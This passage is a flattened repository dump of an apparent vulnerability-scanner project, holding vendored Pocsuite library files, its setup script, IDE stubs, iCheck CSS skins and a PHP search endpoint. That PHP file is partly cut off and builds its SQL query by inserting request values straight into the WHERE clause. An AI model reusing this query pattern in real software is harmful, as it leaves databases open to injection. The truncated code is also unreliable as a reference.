def __init__(self): 35 | MultiByteCharSetProber.__init__(self) 36 | self._mCodingSM = CodingStateMachine(GB2312SMModel) 37 | self._mDistributionAnalyzer = GB2312DistributionAnalysis() 38 | self.reset() 39 | 40 | def get_charset_name(self): 41 | return "GB2312" 42 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/contrib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/contrib/__init__.py -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/packages/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from . import ssl_match_hostname 4 | 5 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/packages/ssl_match_hostname/__init__.py: -------------------------------------------------------------------------------- 1 | try: 2 | # Python 3.2+ 3 | from ssl import CertificateError, match_hostname 4 | except ImportError: 5 | try: 6 | # Backport of the function from a pypi module 7 | from backports.ssl_match_hostname import CertificateError, match_hostname 8 | except ImportError: 9 | # Our vendored copy 10 | from ._implementation import CertificateError, match_hostname 11 | 12 | # Not needed, but documenting what we provide. 13 | __all__ = ('CertificateError', 'match_hostname') 14 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/__init__.py: -------------------------------------------------------------------------------- 1 | # For backwards compatibility, provide imports that used to be here. 2 | from .connection import is_connection_dropped 3 | from .request import make_headers 4 | from .response import is_fp_closed 5 | from .ssl_ import ( 6 | SSLContext, 7 | HAS_SNI, 8 | assert_fingerprint, 9 | resolve_cert_reqs, 10 | resolve_ssl_version, 11 | ssl_wrap_socket, 12 | ) 13 | from .timeout import ( 14 | current_time, 15 | Timeout, 16 | ) 17 | 18 | from .retry import Retry 19 | from .url import ( 20 | get_host, 21 | parse_url, 22 | split_first, 23 | Url, 24 | ) 25 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/util/response.py: -------------------------------------------------------------------------------- 1 | def is_fp_closed(obj): 2 | """ 3 | Checks whether a given file-like object is closed. 4 | 5 | :param obj: 6 | The file-like object to check. 7 | """ 8 | 9 | try: 10 | # Check via the official file-like-object way. 11 | return obj.closed 12 | except AttributeError: 13 | pass 14 | 15 | try: 16 | # Check if the object is a container for another file-like object that 17 | # gets released on exhaustion (e.g. HTTPResponse). 18 | return obj.fp is None 19 | except AttributeError: 20 | pass 21 | 22 | raise ValueError("Unable to determine whether fp is closed.") 23 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/socks/PKG-INFO: -------------------------------------------------------------------------------- 1 | Metadata-Version: 1.0 2 | Name: PySocks 3 | Version: 1.5.4 4 | Summary: A Python SOCKS client module. See https://github.com/Anorov/PySocks for more information. 5 | Home-page: https://github.com/Anorov/PySocks 6 | Author: Anorov 7 | Author-email: anorov.vorona@gmail.com 8 | License: BSD 9 | Description: UNKNOWN 10 | Keywords: socks,proxy 11 | Platform: UNKNOWN 12 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/socks/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/socks/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from distutils.core import setup 3 | 4 | VERSION = "1.5.4" 5 | 6 | setup( 7 | name = "PySocks", 8 | version = VERSION, 9 | description = "A Python SOCKS client module. See https://github.com/Anorov/PySocks for more information.", 10 | url = "https://github.com/Anorov/PySocks", 11 | license = "BSD", 12 | author = "Anorov", 13 | author_email = "anorov.vorona@gmail.com", 14 | keywords = ["socks", "proxy"], 15 | py_modules=["socks", "sockshandler"] 16 | ) 17 | 18 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/termcolor/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | 4 | from setuptools import setup, find_packages 5 | from pocsuite import ( 6 | __version__ as version, __author__ as author, 7 | __author_email__ as author_email, __license__ as license) 8 | 9 | setup( 10 | name='pocsuite', 11 | version=version, 12 | description="A famework for poc definition, check and debug", 13 | long_description="""\ 14 | TODO""", 15 | classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers 16 | keywords='PoC', 17 | author=author, 18 | author_email=author_email, 19 | url='https://github.com/knownsec/Pocsuite', 20 | license=license, 21 | packages=find_packages(), 22 | include_package_data=True, 23 | zip_safe=False, 24 | install_requires=[ 25 | ], 26 | entry_points={ 27 | 'console_scripts': [ 28 | 'pocsuite = pocsuite.pocsuite_cli:main', 29 | 'pcs-console = pocsuite.pocsuite_console:main', 30 | 'pcs-verify = pocsuite.pocsuite_verify:main', 31 | 'pcs-attack = pocsuite.pocsuite_attack:main', 32 | ], 33 | }, 34 | ) 35 | -------------------------------------------------------------------------------- /vulscan/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/vulscan/__init__.py -------------------------------------------------------------------------------- /vulscan/site: -------------------------------------------------------------------------------- 1 | www.huangjian.com -------------------------------------------------------------------------------- /vulscan/test.py: -------------------------------------------------------------------------------- 1 | print 1 -------------------------------------------------------------------------------- /web/.idea/copyright/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /web/.idea/deployment.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /web/.idea/dictionaries/Narata.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /web/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /web/.idea/php.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /web/.idea/web.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /web/.idea/webServers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | -------------------------------------------------------------------------------- /web/code_search.php: -------------------------------------------------------------------------------- 1 | 0) { 9 | $query .= " WHERE ID=$pID"; 10 | } 11 | elseif($pName !='') { 12 | $query .= " WHERE Name=$pName"; 13 | } 14 | 15 | // print($query.'
'); 16 | // $ret = array('data' => array(), ); 17 | $result = mysql_query($query); 18 | if ($row = mysql_fetch_row($result)) { 19 | foreach ($row as $key => $value){ 20 | // echo $key.' => '.$value; 21 | $row[$key] = check_xss($value); 22 | } 23 | $ret['data'][] = $row; 24 | return $ret; 25 | } 26 | } 27 | $name = check_sql(trim($_REQUEST['name'])); 28 | $id = check_sql(trim($_REQUEST['id'])); 29 | // echo '$id='.$id.'
'; 30 | $data = get_code($id,$name); 31 | echo json_encode($data); 32 | 33 | ?> -------------------------------------------------------------------------------- /web/config.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /web/css/jumbotron.css: -------------------------------------------------------------------------------- 1 | /* Move down content because we have a fixed navbar that is 50px tall */ 2 | body { 3 | padding-top: 50px; 4 | padding-bottom: 20px; 5 | } -------------------------------------------------------------------------------- /web/css/live-search.css: -------------------------------------------------------------------------------- 1 | .live-search-wrap { 2 | position: relative; 3 | 4 | input[type=text] { 5 | width: 100%; 6 | } 7 | } 8 | div.live-search { 9 | background: rgba($white-color, .8); 10 | 11 | position: absolute; 12 | left: 0; 13 | top: 40px; // Height of input 14 | z-index: 99; 15 | 16 | width: 100%; 17 | height: 300px; 18 | overflow: auto; 19 | transition: all .1s ease-out; 20 | 21 | border: 1px solid $white-color; 22 | box-shadow: 2px 2px 8px $shadow-color; 23 | 24 | h2 { 25 | @include body-text; 26 | font-weight: bold; 27 | padding: 10px 10px 5px; 28 | } 29 | 30 | ul { 31 | margin: 0; 32 | list-style: none; 33 | 34 | li { 35 | a { 36 | display: block; 37 | padding: 5px 10px; 38 | color: inherit; 39 | text-decoration: none; 40 | 41 | &:hover { 42 | font-weight: bold; 43 | } 44 | 45 | img { 46 | width: 20px; 47 | height: 20px; 48 | margin-right: 10px; 49 | vertical-align: middle; 50 | } 51 | } 52 | 53 | &:nth-child(odd) a { 54 | background: rgba($alt-bg, .8); 55 | } 56 | } 57 | } 58 | 59 | nav { 60 | @include clearfix; 61 | padding: 5px 10px; 62 | 63 | a { 64 | float: left; 65 | color: inherit; 66 | text-decoration: none; 67 | 68 | &[rel=next] { 69 | float: right; 70 | } 71 | } 72 | } 73 | } 74 | 75 | div.live-search:empty { 76 | height: 0; 77 | box-shadow: none; 78 | } 79 | 80 | -------------------------------------------------------------------------------- /web/css/responsive-nav.css: -------------------------------------------------------------------------------- 1 | /*! responsive-nav.js 1.0.32 by @viljamis */ 2 | 3 | .nav-collapse ul { 4 | margin: 0; 5 | padding: 0; 6 | width: 100%; 7 | display: block; 8 | list-style: none; 9 | } 10 | 11 | .nav-collapse li { 12 | width: 100%; 13 | display: block; 14 | } 15 | 16 | .js .nav-collapse { 17 | clip: rect(0 0 0 0); 18 | max-height: 0; 19 | position: absolute; 20 | display: block; 21 | overflow: hidden; 22 | zoom: 1; 23 | } 24 | 25 | .nav-collapse.opened { 26 | max-height: 9999px; 27 | } 28 | 29 | .disable-pointer-events { 30 | pointer-events: none !important; 31 | } 32 | 33 | .nav-toggle { 34 | -webkit-tap-highlight-color: rgba(0,0,0,0); 35 | -webkit-touch-callout: none; 36 | -webkit-user-select: none; 37 | -moz-user-select: none; 38 | -ms-user-select: none; 39 | -o-user-select: none; 40 | user-select: none; 41 | } 42 | 43 | @media screen and (min-width: 40em) { 44 | .js .nav-collapse { 45 | position: relative; 46 | } 47 | .js .nav-collapse.closed { 48 | max-height: none; 49 | } 50 | .nav-toggle { 51 | display: none; 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /web/css/skins/all.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin skins 2 | ----------------------------------- */ 3 | @import url("minimal/_all.css"); 4 | /* 5 | @import url("minimal/minimal.css"); 6 | @import url("minimal/red.css"); 7 | @import url("minimal/green.css"); 8 | @import url("minimal/blue.css"); 9 | @import url("minimal/aero.css"); 10 | @import url("minimal/grey.css"); 11 | @import url("minimal/orange.css"); 12 | @import url("minimal/yellow.css"); 13 | @import url("minimal/pink.css"); 14 | @import url("minimal/purple.css"); 15 | */ 16 | 17 | @import url("square/_all.css"); 18 | /* 19 | @import url("square/square.css"); 20 | @import url("square/red.css"); 21 | @import url("square/green.css"); 22 | @import url("square/blue.css"); 23 | @import url("square/aero.css"); 24 | @import url("square/grey.css"); 25 | @import url("square/orange.css"); 26 | @import url("square/yellow.css"); 27 | @import url("square/pink.css"); 28 | @import url("square/purple.css"); 29 | */ 30 | 31 | @import url("flat/_all.css"); 32 | /* 33 | @import url("flat/flat.css"); 34 | @import url("flat/red.css"); 35 | @import url("flat/green.css"); 36 | @import url("flat/blue.css"); 37 | @import url("flat/aero.css"); 38 | @import url("flat/grey.css"); 39 | @import url("flat/orange.css"); 40 | @import url("flat/yellow.css"); 41 | @import url("flat/pink.css"); 42 | @import url("flat/purple.css"); 43 | */ 44 | 45 | @import url("line/_all.css"); 46 | /* 47 | @import url("line/line.css"); 48 | @import url("line/red.css"); 49 | @import url("line/green.css"); 50 | @import url("line/blue.css"); 51 | @import url("line/aero.css"); 52 | @import url("line/grey.css"); 53 | @import url("line/orange.css"); 54 | @import url("line/yellow.css"); 55 | @import url("line/pink.css"); 56 | @import url("line/purple.css"); 57 | */ 58 | 59 | @import url("polaris/polaris.css"); 60 | 61 | @import url("futurico/futurico.css"); -------------------------------------------------------------------------------- /web/css/skins/flat/aero.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Flat skin, aero 2 | ----------------------------------- */ 3 | .icheckbox_flat-aero, 4 | .iradio_flat-aero { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 20px; 11 | height: 20px; 12 | background: url(aero.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_flat-aero { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_flat-aero.checked { 21 | background-position: -22px 0; 22 | } 23 | .icheckbox_flat-aero.disabled { 24 | background-position: -44px 0; 25 | cursor: default; 26 | } 27 | .icheckbox_flat-aero.checked.disabled { 28 | background-position: -66px 0; 29 | } 30 | 31 | .iradio_flat-aero { 32 | background-position: -88px 0; 33 | } 34 | .iradio_flat-aero.checked { 35 | background-position: -110px 0; 36 | } 37 | .iradio_flat-aero.disabled { 38 | background-position: -132px 0; 39 | cursor: default; 40 | } 41 | .iradio_flat-aero.checked.disabled { 42 | background-position: -154px 0; 43 | } 44 | 45 | /* HiDPI support */ 46 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 47 | .icheckbox_flat-aero, 48 | .iradio_flat-aero { 49 | background-image: url(aero@2x.png); 50 | -webkit-background-size: 176px 22px; 51 | background-size: 176px 22px; 52 | } 53 | } -------------------------------------------------------------------------------- /web/css/skins/flat/aero.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/aero.png -------------------------------------------------------------------------------- /web/css/skins/flat/aero@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/aero@2x.png -------------------------------------------------------------------------------- /web/css/skins/flat/blue.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Flat skin, blue 2 | ----------------------------------- */ 3 | .icheckbox_flat-blue, 4 | .iradio_flat-blue { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 20px; 11 | height: 20px; 12 | background: url(blue.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_flat-blue { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_flat-blue.checked { 21 | background-position: -22px 0; 22 | } 23 | .icheckbox_flat-blue.disabled { 24 | background-position: -44px 0; 25 | cursor: default; 26 | } 27 | .icheckbox_flat-blue.checked.disabled { 28 | background-position: -66px 0; 29 | } 30 | 31 | .iradio_flat-blue { 32 | background-position: -88px 0; 33 | } 34 | .iradio_flat-blue.checked { 35 | background-position: -110px 0; 36 | } 37 | .iradio_flat-blue.disabled { 38 | background-position: -132px 0; 39 | cursor: default; 40 | } 41 | .iradio_flat-blue.checked.disabled { 42 | background-position: -154px 0; 43 | } 44 | 45 | /* HiDPI support */ 46 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 47 | .icheckbox_flat-blue, 48 | .iradio_flat-blue { 49 | background-image: url(blue@2x.png); 50 | -webkit-background-size: 176px 22px; 51 | background-size: 176px 22px; 52 | } 53 | } -------------------------------------------------------------------------------- /web/css/skins/flat/blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/blue.png -------------------------------------------------------------------------------- /web/css/skins/flat/blue@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/blue@2x.png -------------------------------------------------------------------------------- /web/css/skins/flat/flat.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin flat skin, black 2 | ----------------------------------- */ 3 | .icheckbox_flat, 4 | .iradio_flat { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 20px; 11 | height: 20px; 12 | background: url(flat.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_flat { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_flat.checked { 21 | background-position: -22px 0; 22 | } 23 | .icheckbox_flat.disabled { 24 | background-position: -44px 0; 25 | cursor: default; 26 | } 27 | .icheckbox_flat.checked.disabled { 28 | background-position: -66px 0; 29 | } 30 | 31 | .iradio_flat { 32 | background-position: -88px 0; 33 | } 34 | .iradio_flat.checked { 35 | background-position: -110px 0; 36 | } 37 | .iradio_flat.disabled { 38 | background-position: -132px 0; 39 | cursor: default; 40 | } 41 | .iradio_flat.checked.disabled { 42 | background-position: -154px 0; 43 | } 44 | 45 | /* HiDPI support */ 46 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 47 | .icheckbox_flat, 48 | .iradio_flat { 49 | background-image: url(flat@2x.png); 50 | -webkit-background-size: 176px 22px; 51 | background-size: 176px 22px; 52 | } 53 | } -------------------------------------------------------------------------------- /web/css/skins/flat/flat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/flat.png -------------------------------------------------------------------------------- /web/css/skins/flat/flat@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/flat@2x.png -------------------------------------------------------------------------------- /web/css/skins/flat/green.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Flat skin, green 2 | ----------------------------------- */ 3 | .icheckbox_flat-green, 4 | .iradio_flat-green { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 20px; 11 | height: 20px; 12 | background: url(green.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_flat-green { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_flat-green.checked { 21 | background-position: -22px 0; 22 | } 23 | .icheckbox_flat-green.disabled { 24 | background-position: -44px 0; 25 | cursor: default; 26 | } 27 | .icheckbox_flat-green.checked.disabled { 28 | background-position: -66px 0; 29 | } 30 | 31 | .iradio_flat-green { 32 | background-position: -88px 0; 33 | } 34 | .iradio_flat-green.checked { 35 | background-position: -110px 0; 36 | } 37 | .iradio_flat-green.disabled { 38 | background-position: -132px 0; 39 | cursor: default; 40 | } 41 | .iradio_flat-green.checked.disabled { 42 | background-position: -154px 0; 43 | } 44 | 45 | /* HiDPI support */ 46 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 47 | .icheckbox_flat-green, 48 | .iradio_flat-green { 49 | background-image: url(green@2x.png); 50 | -webkit-background-size: 176px 22px; 51 | background-size: 176px 22px; 52 | } 53 | } -------------------------------------------------------------------------------- /web/css/skins/flat/green.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/green.png -------------------------------------------------------------------------------- /web/css/skins/flat/green@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/green@2x.png -------------------------------------------------------------------------------- /web/css/skins/flat/grey.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Flat skin, grey 2 | ----------------------------------- */ 3 | .icheckbox_flat-grey, 4 | .iradio_flat-grey { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 20px; 11 | height: 20px; 12 | background: url(grey.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_flat-grey { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_flat-grey.checked { 21 | background-position: -22px 0; 22 | } 23 | .icheckbox_flat-grey.disabled { 24 | background-position: -44px 0; 25 | cursor: default; 26 | } 27 | .icheckbox_flat-grey.checked.disabled { 28 | background-position: -66px 0; 29 | } 30 | 31 | .iradio_flat-grey { 32 | background-position: -88px 0; 33 | } 34 | .iradio_flat-grey.checked { 35 | background-position: -110px 0; 36 | } 37 | .iradio_flat-grey.disabled { 38 | background-position: -132px 0; 39 | cursor: default; 40 | } 41 | .iradio_flat-grey.checked.disabled { 42 | background-position: -154px 0; 43 | } 44 | 45 | /* HiDPI support */ 46 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 47 | .icheckbox_flat-grey, 48 | .iradio_flat-grey { 49 | background-image: url(grey@2x.png); 50 | -webkit-background-size: 176px 22px; 51 | background-size: 176px 22px; 52 | } 53 | } -------------------------------------------------------------------------------- /web/css/skins/flat/grey.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/grey.png -------------------------------------------------------------------------------- /web/css/skins/flat/grey@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/grey@2x.png -------------------------------------------------------------------------------- /web/css/skins/flat/orange.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Flat skin, orange 2 | ----------------------------------- */ 3 | .icheckbox_flat-orange, 4 | .iradio_flat-orange { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 20px; 11 | height: 20px; 12 | background: url(orange.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_flat-orange { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_flat-orange.checked { 21 | background-position: -22px 0; 22 | } 23 | .icheckbox_flat-orange.disabled { 24 | background-position: -44px 0; 25 | cursor: default; 26 | } 27 | .icheckbox_flat-orange.checked.disabled { 28 | background-position: -66px 0; 29 | } 30 | 31 | .iradio_flat-orange { 32 | background-position: -88px 0; 33 | } 34 | .iradio_flat-orange.checked { 35 | background-position: -110px 0; 36 | } 37 | .iradio_flat-orange.disabled { 38 | background-position: -132px 0; 39 | cursor: default; 40 | } 41 | .iradio_flat-orange.checked.disabled { 42 | background-position: -154px 0; 43 | } 44 | 45 | /* HiDPI support */ 46 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 47 | .icheckbox_flat-orange, 48 | .iradio_flat-orange { 49 | background-image: url(orange@2x.png); 50 | -webkit-background-size: 176px 22px; 51 | background-size: 176px 22px; 52 | } 53 | } -------------------------------------------------------------------------------- /web/css/skins/flat/orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/orange.png -------------------------------------------------------------------------------- /web/css/skins/flat/orange@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/orange@2x.png -------------------------------------------------------------------------------- /web/css/skins/flat/pink.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Flat skin, pink 2 | ----------------------------------- */ 3 | .icheckbox_flat-pink, 4 | .iradio_flat-pink { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 20px; 11 | height: 20px; 12 | background: url(pink.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_flat-pink { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_flat-pink.checked { 21 | background-position: -22px 0; 22 | } 23 | .icheckbox_flat-pink.disabled { 24 | background-position: -44px 0; 25 | cursor: default; 26 | } 27 | .icheckbox_flat-pink.checked.disabled { 28 | background-position: -66px 0; 29 | } 30 | 31 | .iradio_flat-pink { 32 | background-position: -88px 0; 33 | } 34 | .iradio_flat-pink.checked { 35 | background-position: -110px 0; 36 | } 37 | .iradio_flat-pink.disabled { 38 | background-position: -132px 0; 39 | cursor: default; 40 | } 41 | .iradio_flat-pink.checked.disabled { 42 | background-position: -154px 0; 43 | } 44 | 45 | /* HiDPI support */ 46 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 47 | .icheckbox_flat-pink, 48 | .iradio_flat-pink { 49 | background-image: url(pink@2x.png); 50 | -webkit-background-size: 176px 22px; 51 | background-size: 176px 22px; 52 | } 53 | } -------------------------------------------------------------------------------- /web/css/skins/flat/pink.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/pink.png -------------------------------------------------------------------------------- /web/css/skins/flat/pink@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/pink@2x.png -------------------------------------------------------------------------------- /web/css/skins/flat/purple.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Flat skin, purple 2 | ----------------------------------- */ 3 | .icheckbox_flat-purple, 4 | .iradio_flat-purple { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 20px; 11 | height: 20px; 12 | background: url(purple.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_flat-purple { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_flat-purple.checked { 21 | background-position: -22px 0; 22 | } 23 | .icheckbox_flat-purple.disabled { 24 | background-position: -44px 0; 25 | cursor: default; 26 | } 27 | .icheckbox_flat-purple.checked.disabled { 28 | background-position: -66px 0; 29 | } 30 | 31 | .iradio_flat-purple { 32 | background-position: -88px 0; 33 | } 34 | .iradio_flat-purple.checked { 35 | background-position: -110px 0; 36 | } 37 | .iradio_flat-purple.disabled { 38 | background-position: -132px 0; 39 | cursor: default; 40 | } 41 | .iradio_flat-purple.checked.disabled { 42 | background-position: -154px 0; 43 | } 44 | 45 | /* HiDPI support */ 46 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 47 | .icheckbox_flat-purple, 48 | .iradio_flat-purple { 49 | background-image: url(purple@2x.png); 50 | -webkit-background-size: 176px 22px; 51 | background-size: 176px 22px; 52 | } 53 | } -------------------------------------------------------------------------------- /web/css/skins/flat/purple.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/purple.png -------------------------------------------------------------------------------- /web/css/skins/flat/purple@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/purple@2x.png -------------------------------------------------------------------------------- /web/css/skins/flat/red.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Flat skin, red 2 | ----------------------------------- */ 3 | .icheckbox_flat-red, 4 | .iradio_flat-red { 5 | display: inline-block; 6 | *display: inline; 7 | vertical-align: middle; 8 | margin: 0; 9 | padding: 0; 10 | width: 20px; 11 | height: 20px; 12 | background: url(red.png) no-repeat; 13 | border: none; 14 | cursor: pointer; 15 | } 16 | 17 | .icheckbox_flat-red { 18 | background-position: 0 0; 19 | } 20 | .icheckbox_flat-red.checked { 21 | background-position: -22px 0; 22 | } 23 | .icheckbox_flat-red.disabled { 24 | background-position: -44px 0; 25 | cursor: default; 26 | } 27 | .icheckbox_flat-red.checked.disabled { 28 | background-position: -66px 0; 29 | } 30 | 31 | .iradio_flat-red { 32 | background-position: -88px 0; 33 | } 34 | .iradio_flat-red.checked { 35 | background-position: -110px 0; 36 | } 37 | .iradio_flat-red.disabled { 38 | background-position: -132px 0; 39 | cursor: default; 40 | } 41 | .iradio_flat-red.checked.disabled { 42 | background-position: -154px 0; 43 | } 44 | 45 | /* HiDPI support */ 46 | @media (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi), (min-resolution: 1.25dppx) { 47 | .icheckbox_flat-red, 48 | .iradio_flat-red { 49 | background-image: url(red@2x.png); 50 | -webkit-background-size: 176px 22px; 51 | background-size: 176px 22px; 52 | } 53 | } -------------------------------------------------------------------------------- /web/css/skins/flat/red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/red.png -------------------------------------------------------------------------------- /web/css/skins/flat/red@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/css/skins/flat/red@2x.png -------------------------------------------------------------------------------- /web/css/skins/flat/yellow.css: -------------------------------------------------------------------------------- 1 | /* iCheck plugin Flat skin, yellow 2 | ----------------------------------- */ 3 | 